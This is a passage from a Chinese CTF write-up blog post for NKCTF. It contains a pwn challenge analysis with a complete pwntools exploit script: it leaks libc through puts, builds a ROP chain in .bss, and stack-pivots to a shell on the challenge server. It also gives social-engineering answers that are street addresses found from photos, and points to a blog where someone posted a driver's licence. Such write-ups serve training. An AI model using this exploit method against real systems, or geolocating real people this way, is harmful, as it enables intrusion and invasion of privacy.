    if ( v6 && v5 && v4 )
      heart();
    else
      warning(&v6, &v5, &v4);
  }
  puts("wrong choice.");
  puts("you hurt me so much.");
  puts("DO YOU THINK IT'S FUNNY TO CHOOSE INCORRECT OPTION?");
  puts("BYE.");
  return 0;
}

分析代码
选项1,2,3对应的函数acm,ctf,love输出完之后最后会写入8字节到一段连续的bss段
当没执行过1,2,3对应的函数选4会执行warning函数,会输出puts函数地址便可获取libc基地址
当执行过1,2,3对应的函数选4会执行heart函数,在其中有一个read溢出,但只够溢出0x16字节

总结
获取puts地址得到libc基地址
执行1,2,3对应的函数往bss段写入system(“/bin/sh”)
栈迁移到bss段

脚本

from pwn import *
from LibcSearcher import *

# 连接远程
io = remote("node2.yuzhian.com.cn",39406)
elf = ELF("./pwn")

context.log_level = "debug"

# ROPgadget 
fack_stack = 0x4050A0 - 8 
leave_ret = 0x40139e
pop_rdi = 0x401573


# 获取puts地址
io.recvuntil(b"> \n")
io.sendline(b"4")

io.recvuntil(b"I give it up, you can see this. ")
puts_addr = io.recvuntil(b"\n")[:-1]

puts_addr = int(puts_addr,16)

print("puts_addr ===========> "+hex(puts_addr))


# 获取libc
libc = LibcSearcher("puts",puts_addr)
base = puts_addr - libc.dump("puts")
system = base + libc.dump("system")
bin_sh = base + libc.dump("str_bin_sh")


# 按照地址写入指定bss段
io.recvuntil(b"> \n")
io.sendline(b"1")
io.recvuntil(b"what's your comment?\n")
io.send(p64(bin_sh))

io.recvuntil(b"> \n")
io.sendline(b"2")
io.recvuntil(b"what's your corment?\n")
io.send(p64(pop_rdi))

io.recvuntil(b"> \n")
io.sendline(b"3")
io.recvuntil(b"what's your corMenT?\n")
io.send(p64(system))


# 栈迁移到bss段
payload = b"A"*(0xA) + p64(fack_stack) + p64(leave_ret)

io.recvuntil(b"> \n")
io.sendline(b"4")
io.sendline(payload)

io.interactive()

Social Engineering

狂飙

NKCTF{广东省江门市蓬江区莲平路}

两个人的夜晚

NKCTF{天津市西青区中北镇万卉路3号NCC新城市中心}

Bridge

NKCTF{海南省海口市龙华区世纪公园}

旅程的开始

图片EXIF给了经纬度
image.png
NKCTF{贵州省贵阳市南明区遵义路1号}

real-social-engineering

在他博客里面有晒驾照https://tacooo0o.github.io/2021/12/31/2021%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93-1/#group-4

The other Bridge

NKCTF{重庆市渝中区嘉陵江畔戴家巷崖壁步道}

Ferris_Wheel

NKCTF{重庆市永川区兴龙湖CBD永川里奥特莱斯渝西之眼摩天轮}

  • 2
    点赞
  • 4
    收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末初mochu7

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值